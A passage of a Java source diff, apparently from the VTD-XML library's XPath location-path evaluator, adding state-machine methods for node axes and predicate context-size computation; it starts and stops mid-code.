+ return result; + } + } + } + if (b == false) { + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS != null) { + currentStep.ft = true; + state = BACKWARD; + currentStep = currentStep.prevS; + } else { + state = END; + } + } + break; + + case TERMINAL: + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS!=null) { + currentStep.ft = true; + state = BACKWARD; + currentStep = currentStep.prevS; + } + else { + state = END; + } + break; + + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_self(VTDNav vn) + throws XPathEvalException,NavException{ + boolean b1 = false; + Predicate t= null; + int result; + switch( state){ + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + } + else{ + state = TERMINAL; + if (vn.atTerminal ) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + }else { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if ( state == START) + state = END; + else + state = BACKWARD; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + case TERMINAL: + if (currentStep.prevS!=null){ + state = BACKWARD; + currentStep= currentStep.prevS; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_self2(VTDNav vn) throws XPathEvalException, + NavException { + boolean b1 = false; + Predicate t = null; + int result; + switch (state) { + case START: + case FORWARD: + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize(t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + if (state == FORWARD) { + state = BACKWARD; + currentStep = currentStep.prevS; + } else + state = END; + break; + } + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } else { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (state == START) + state = END; + else + state = BACKWARD; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + case TERMINAL: + if (currentStep.prevS != null) { + state = BACKWARD; + currentStep = currentStep.prevS; + } else { + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + + final protected int process_namespace(VTDNav vn) + throws XPathEvalException,NavException { + AutoPilot ap = null; + boolean b1 = false; + Predicate t= null; + int temp; + switch( state){ + case START: + case FORWARD: + + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + + if (vn.atTerminal){ + if (state ==START) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + + if (currentStep.ft ) { + if (currentStep.o == null) + currentStep.o = ap = new AutoPilot(vn); + else { + ap = (AutoPilot) currentStep.o; + ap.bind(vn); + //ap.set_ft(true); + } + if (currentStep.nt.testType == NodeTest.NODE) + ap.selectNameSpace("*"); + else + ap.selectNameSpace(currentStep.nt.nodeName); + currentStep.ft = false; + } + if (state == START) + state = END; + vn.push2(); + //vn.setAtTerminal(true); + while ((temp = ap.iterateNameSpace()) != -1) { + if ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn)) { + break; + } + } + if (temp == -1) { + vn.pop2(); + currentStep.ft = true; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.atTerminal=(false); + if (state == FORWARD) { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + vn.atTerminal=(true); + if (currentStep.nextS != null) { + vn.LN = temp; + state = FORWARD; + currentStep = currentStep.nextS; + } else { + //vn.pop(); + state = TERMINAL; + if (isUnique(temp)) { + vn.LN = temp; + return temp; + } + } + + } + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + ap = (AutoPilot) currentStep.o; + //vn.push(); + while( (temp = ap.iterateNameSpace()) != -1){ + if ((!currentStep.hasPredicate)|| currentStep.evalPredicates(vn)){ + break; + } + } + if (temp == -1) { + vn.pop2(); + currentStep.ft = true; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.atTerminal=(false); + if (currentStep.prevS != null) { + state = BACKWARD; + currentStep = currentStep.prevS; + } else + state = END; + } else { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + if ( isUnique(temp)){ + vn.LN = temp; + return temp; + } + } + } + break; + + case TERMINAL: + ap = (AutoPilot) currentStep.o; + while( (temp = ap.iterateNameSpace()) != -1){ + if (!currentStep.hasPredicate || currentStep.evalPredicates(vn)){ + break; + } + } + if (temp != -1) + if (isUnique(temp)){ + vn.LN = temp; + return temp; + } + vn.atTerminal=(false); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS == null) { + currentStep.ft = true; + vn.pop2(); + state = END; + } else { + state = BACKWARD; + vn.pop2(); + currentStep.ft = true; + currentStep = currentStep.prevS; + } + + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_following_sibling2(VTDNav vn) + throws XPathEvalException,NavException{ + boolean b = false, b1 = false; + Predicate t= null; + int result; + switch( state){ + case START: + case FORWARD: + + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + if ( state == START) + state = END; + else + state = BACKWARD; + vn.push2(); + while (vn.toNode(VTDNav.NS)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (state ==END){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + }else if ( state == BACKWARD){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + currentStep = currentStep.prevS; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + while (vn.toNode(VTDNav.NS)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS==null){ + state = END; + }else{ + state = BACKWARD; + currentStep = currentStep.prevS; + } + } + break; + + case TERMINAL: + while (vn.toNode(VTDNav.NS)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if(currentStep.prevS!=null){ + currentStep = currentStep.prevS; + state = BACKWARD; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + + final protected int process_following_sibling(VTDNav vn) + throws XPathEvalException,NavException{ + boolean b = false, b1 = false; + Predicate t= null; + int result; + switch( state){ + case START: + case FORWARD: + + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + if ( state == START) + state = END; + else + state = BACKWARD; + vn.push2(); + while (vn.toElement(VTDNav.NS)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (state ==END){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + }else if ( state == BACKWARD){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + currentStep = currentStep.prevS; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + while (vn.toElement(VTDNav.NS)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS==null){ + state = END; + }else{ + state = BACKWARD; + currentStep = currentStep.prevS; + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNav.NS)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if(currentStep.prevS!=null){ + currentStep = currentStep.prevS; + state = BACKWARD; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_preceding_sibling(VTDNav vn) + throws XPathEvalException,NavException { + boolean b = false, b1 = false; + Predicate t= null; + int result; + switch(state){ + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + if ( state == START) + state = END; + else + state = BACKWARD; + vn.push2(); + while (vn.toElement(VTDNav.PS)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (state ==END){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + }else if ( state == BACKWARD){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + currentStep = currentStep.prevS; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + while (vn.toElement(VTDNav.PS)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS==null){ + state = END; + }else{ + state = BACKWARD; + currentStep = currentStep.prevS; + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNav.PS)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + if(currentStep.prevS!=null){ + currentStep = currentStep.prevS; + state = BACKWARD; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_preceding_sibling2(VTDNav vn) + throws XPathEvalException,NavException { + boolean b = false, b1 = false; + Predicate t= null; + int result; + switch(state){ + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + if ( state == START) + state = END; + else + state = BACKWARD; + vn.push2(); + while (vn.toNode(VTDNav.PS)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (state ==END){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + }else if ( state == BACKWARD){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + currentStep = currentStep.prevS; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + while (vn.toNode(VTDNav.PS)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS!=null){ + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS==null){ + state = END; + }else{ + state = BACKWARD; + currentStep = currentStep.prevS; + } + } + break; + + case TERMINAL: + while (vn.toNode(VTDNav.PS)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if(currentStep.prevS!=null){ + currentStep = currentStep.prevS; + state = BACKWARD; + }else{ + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_attribute(VTDNav vn) + throws XPathEvalException,NavException { + AutoPilot ap = null; + boolean b1 = false; + Predicate t= null; + int temp; + switch( state){ + case START: + case FORWARD: + + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + + if (vn.atTerminal){ + if (state ==START) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + if (currentStep.ft) { + if (currentStep.o == null) + currentStep.o = ap = new AutoPilot(vn); + else { + ap = (AutoPilot) currentStep.o; + ap.bind(vn); + //ap.set_ft(true); + } + if (currentStep.nt.testType == NodeTest.NODE) + ap.selectAttr("*"); + else if (currentStep.nt.localName != null) + ap.selectAttrNS(currentStep.nt.URL, + currentStep.nt.localName); + else + ap.selectAttr(currentStep.nt.nodeName); + currentStep.ft = false; + } + if (state == START) + state = END; + vn.atTerminal=(true); + while ((temp = ap.iterateAttr2()) != -1) { + if ( !currentStep.hasPredicate || currentStep.evalPredicates(vn)) { + break; + } + } + if (temp == -1) { + currentStep.ft = true; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.atTerminal=(false); + if (state == FORWARD) { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + + if (currentStep.nextS != null) { + vn.LN = temp; + state = FORWARD; + currentStep = currentStep.nextS; + } else { + //vn.pop(); + state = TERMINAL; + if (isUnique(temp)) { + vn.LN = temp; + return temp; + } + } + + } + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + ap = (AutoPilot) currentStep.o; + //vn.push(); + while( (temp = ap.iterateAttr2()) != -1){ + if (!currentStep.hasPredicate || currentStep.evalPredicates(vn)){ + break; + } + } + if (temp == -1) { + currentStep.ft = true; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.atTerminal=(false); + if (currentStep.prevS != null) { + state = BACKWARD; + currentStep = currentStep.prevS; + } else + state = END; + } else { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + if ( isUnique(temp)){ + vn.LN = temp; + return temp; + } + } + } + break; + + case TERMINAL: + ap = (AutoPilot) currentStep.o; + while( (temp = ap.iterateAttr2()) != -1){ + if (!currentStep.hasPredicate || currentStep.evalPredicates(vn)){ + break; + } + } + if (temp != -1) + if (isUnique(temp)){ + vn.LN = temp; + return temp; + } + vn.atTerminal=(false); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + currentStep.ft = true; + if (currentStep.prevS == null) { + state = END; + } else { + state = BACKWARD; + currentStep = currentStep.prevS; + } + + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + public int evalNodeSet(VTDNav vn) + throws NavException,XPathEvalException{ + int result; + if (currentStep == null) { + if ( pathType == ABSOLUTE_PATH){ + vn.context[0]=-1; + vn.atTerminal = false; + } + currentStep = s; + if (currentStep == null){ + if (state == START){ + state = END; + return 0; + } + else{ + return -1; + } + } + } + + while (true) { + switch (currentStep.axis_type) { + + case AxisType.CHILD0: + if ( (result = process_child(vn))!=-2){ + return result; + } + break; + case AxisType.CHILD: + if ( (result = process_child2(vn))!=-2){ + return result; + } + break; + case AxisType.DESCENDANT_OR_SELF0: + case AxisType.DESCENDANT0: + case AxisType.PRECEDING0: + case AxisType.FOLLOWING0: + if ((result = process_DDFP(vn))!= -2) + return result; + break; + case AxisType.DESCENDANT_OR_SELF: + case AxisType.DESCENDANT: + case AxisType.PRECEDING: + case AxisType.FOLLOWING: + if ((result = process_DDFP2(vn))!= -2) + return result; + break; + case AxisType.PARENT: + if ((result = process_parent(vn))!= -2) + return result; + break; + case AxisType.ANCESTOR: + if ((result = process_ancestor2(vn))!= -2) + return result; + break; + case AxisType.ANCESTOR_OR_SELF: + if ((result = process_ancestor_or_self2(vn))!= -2) + return result; + break; + case AxisType.SELF: + if ((result = process_self2(vn))!= -2) + return result; + break; + case AxisType.FOLLOWING_SIBLING: + if ((result = process_following_sibling2(vn))!= -2) + return result; + break; + case AxisType.FOLLOWING_SIBLING0: + if ((result = process_following_sibling(vn))!= -2) + return result; + break; + case AxisType.PRECEDING_SIBLING: + if ((result = process_preceding_sibling2(vn))!= -2) + return result; + break; + case AxisType.PRECEDING_SIBLING0: + if ((result = process_preceding_sibling(vn))!= -2) + return result; + break; + case AxisType.ATTRIBUTE: + if ((result = process_attribute(vn))!= -2) + return result; + break; + default: + if ((result = process_namespace(vn))!= -2) + return result; + } + } + + } + + final public boolean isString(){ + return false; + } + + final public boolean isBoolean(){ + return false; + } + + // to support computer context size + // needs to add + final public boolean requireContextSize(){ + return false; + } + + // + final public void setContextSize(int size){ + } + + final protected int computeContextSize4PrecedingSibling(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + vn.push2(); + while(vn.toElement(VTDNav.PREV_SIBLING)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + //currentStep.o = ap; + return i; + } + + final protected int computeContextSize4PrecedingSibling2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + vn.push2(); + while(vn.toNode(VTDNav.PREV_SIBLING)){ + if (currentStep.eval2(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + //currentStep.o = ap; + return i; + } + + final protected int computeContextSize4FollowingSibling(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + //AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + //currentStep.o = ap; + return i; + } + + final protected int computeContextSize4FollowingSibling2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + vn.push2(); + while(vn.toNode(VTDNav.NEXT_SIBLING)){ + if (currentStep.eval2(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + return i; + } + + + final protected int computeContextSize4Self(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i = 0; + AutoPilot ap = (AutoPilot)currentStep.o; + //if (vn.toElement(VTDNav.PARENT)){ + if (currentStep.eval(vn,p)){ + i++; + } + //} + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4Self2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i = 0; + AutoPilot ap = (AutoPilot)currentStep.o; + //if (vn.toNode(VTDNav.PARENT)){ + if (currentStep.eval2(vn,p)){ + i++; + } + //} + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + + + final protected int computeContextSize4AncestorOrSelf(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + i = 0; + do { + if (currentStep.eval(vn, p)) { + i++; + } + }while(vn.toElement(VTDNav.PARENT)); + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4AncestorOrSelf2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + i = 0; + do { + if (currentStep.eval2(vn, p)) { + i++; + } + }while(vn.toNode(VTDNav.PARENT)); + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + + final protected int computeContextSize4Child2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + boolean b = vn.toNode(VTDNav.FIRST_CHILD); + if (b) { + do { + if (currentStep.eval2(vn, p)) { + i++; + } + } while (vn.toNode(VTDNav.NS)); + vn.toNode(VTDNav.PARENT); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + return i; + } else + return 0; + } + + final protected int computeContextSize4Parent(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + i = 0; + if (vn.toElement(VTDNav.PARENT)){ + if (currentStep.eval(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4Parent2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + i = 0; + if (vn.toNode(VTDNav.PARENT)){ + if (currentStep.eval2(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4Ancestor2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + i = 0; + while (vn.toNode(VTDNav.PARENT)) { + if (currentStep.eval2(vn, p)) { + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4DDFP(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + String helper = null; + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + if (currentStep.nt.testType == NodeTest.NODE){ + helper = "*"; + }else if (currentStep.nt.testType == NodeTest.NAMETEST){ + helper = currentStep.nt.nodeName; + }else + throw new XPathEvalException("can't run descendant " + + "following, or following-sibling axis over comment(), pi(), and text()"); + if (ap==null) + ap = new AutoPilot(vn); + else + ap.bind(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF0 ) + if (currentStep.nt.testType == NodeTest.NODE) + ap.setSpecial(true); + else + ap.setSpecial(false); + //currentStep.o = ap = new AutoPilot(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF0) + if (currentStep.nt.localName!=null) + ap.selectElementNS(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement(helper); + else if (currentStep.axis_type == AxisType.DESCENDANT0) + if (currentStep.nt.localName!=null) + ap.selectElementNS_D(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement_D(helper); + else if (currentStep.axis_type == AxisType.PRECEDING0) + if (currentStep.nt.localName!=null) + ap.selectElementNS_P(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement_P(helper); + else + if (currentStep.nt.localName!=null) + ap.selectElementNS_F(currentStep.nt.URL,currentStep.nt.localName); + else + ap.selectElement_F(helper); + vn.push2(); + while(ap.iterate()){ + if (currentStep.evalPredicates(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4DDFP2(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + + if (ap==null) + ap = new AutoPilot(vn); + else + ap.bind(vn); + + //currentStep.o = ap = new AutoPilot(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF) + ap.selectNode(); + else if (currentStep.axis_type == AxisType.DESCENDANT) + ap.selectDescendantNode(); + else if (currentStep.axis_type == AxisType.PRECEDING) + ap.selectPrecedingNode(); + else + ap.selectFollowingNode(); + vn.push2(); + while(ap.iterate2()){ + if (currentStep.eval2(vn,p)){ + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4Ancestor(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + AutoPilot ap = (AutoPilot)currentStep.o; + vn.push2(); + i = 0; + while (vn.toElement(VTDNav.PARENT)) { + if (currentStep.eval(vn, p)) { + i++; + } + } + vn.pop2(); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + currentStep.o = ap; + return i; + } + + final protected int computeContextSize4Child(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + int i=0; + + boolean b = vn.toElement(VTDNav.FIRST_CHILD); + if (b) { + do { + if (currentStep.eval(vn, p)) { + i++; + } + } while (vn.toElement(VTDNav.NS)); + vn.toElement(VTDNav.PARENT); + currentStep.resetP(vn,p); + currentStep.out_of_range=false; + return i; + } else + return 0; + + } + final public int computeContextSize(Predicate p, VTDNav vn) + throws NavException,XPathEvalException{ + + boolean b = false; + //Predicate tp = null; + int i = 0; + AutoPilot ap = (AutoPilot)currentStep.o; + switch(currentStep.axis_type){ + case AxisType.CHILD0: + return computeContextSize4Child(p,vn); + case AxisType.CHILD: + return computeContextSize4Child2(p,vn); + case AxisType.DESCENDANT_OR_SELF0: + case AxisType.DESCENDANT0: + case AxisType.PRECEDING0: + case AxisType.FOLLOWING0: + return computeContextSize4DDFP(p,vn); + case AxisType.DESCENDANT_OR_SELF: + case AxisType.DESCENDANT: + case AxisType.PRECEDING: + case AxisType.FOLLOWING: + return computeContextSize4DDFP2(p,vn); + case AxisType.PARENT: + return computeContextSize4Parent2(p,vn); + case AxisType.ANCESTOR: + return computeContextSize4Ancestor2(p,vn); + case AxisType.ANCESTOR_OR_SELF: + return computeContextSize4AncestorOrSelf2(p,vn); + case AxisType.SELF: + return computeContextSize4Self2(p,vn); + case AxisType.FOLLOWING_SIBLING: + return computeContextSize4FollowingSibling2(p,vn); + case AxisType.FOLLOWING_SIBLING0: + return computeContextSize4FollowingSibling(p,vn); + case AxisType.PRECEDING_SIBLING: + return computeContextSize4PrecedingSibling2(p,vn); + case AxisType.PRECEDING_SIBLING0: + return computeContextSize4PrecedingSibling(p,vn); + case AxisType.ATTRIBUTE: + if (ap==null) + ap = new AutoPilot(vn); + else + ap.bind(vn); + if (currentStep.nt.testType == NodeTest.NODE) + ap.selectAttr("*"); + else if (currentStep.nt.localName!=null) + ap.selectAttrNS(currentStep.nt.URL, + currentStep.nt.localName); + else + ap.selectAttr(currentStep.nt.nodeName); + i = 0; + while(ap.iterateAttr2()!=-1){ + if (currentStep.evalPredicates(vn,p)){ + i++; + } + } + currentStep.resetP(vn,p); + currentStep.o = ap; + return i; + + case AxisType.NAMESPACE: + if (ap==null) + ap = new AutoPilot(vn); + else + ap.bind(vn); + if (currentStep.nt.testType == NodeTest.NODE) + ap.selectNameSpace("*"); + else + 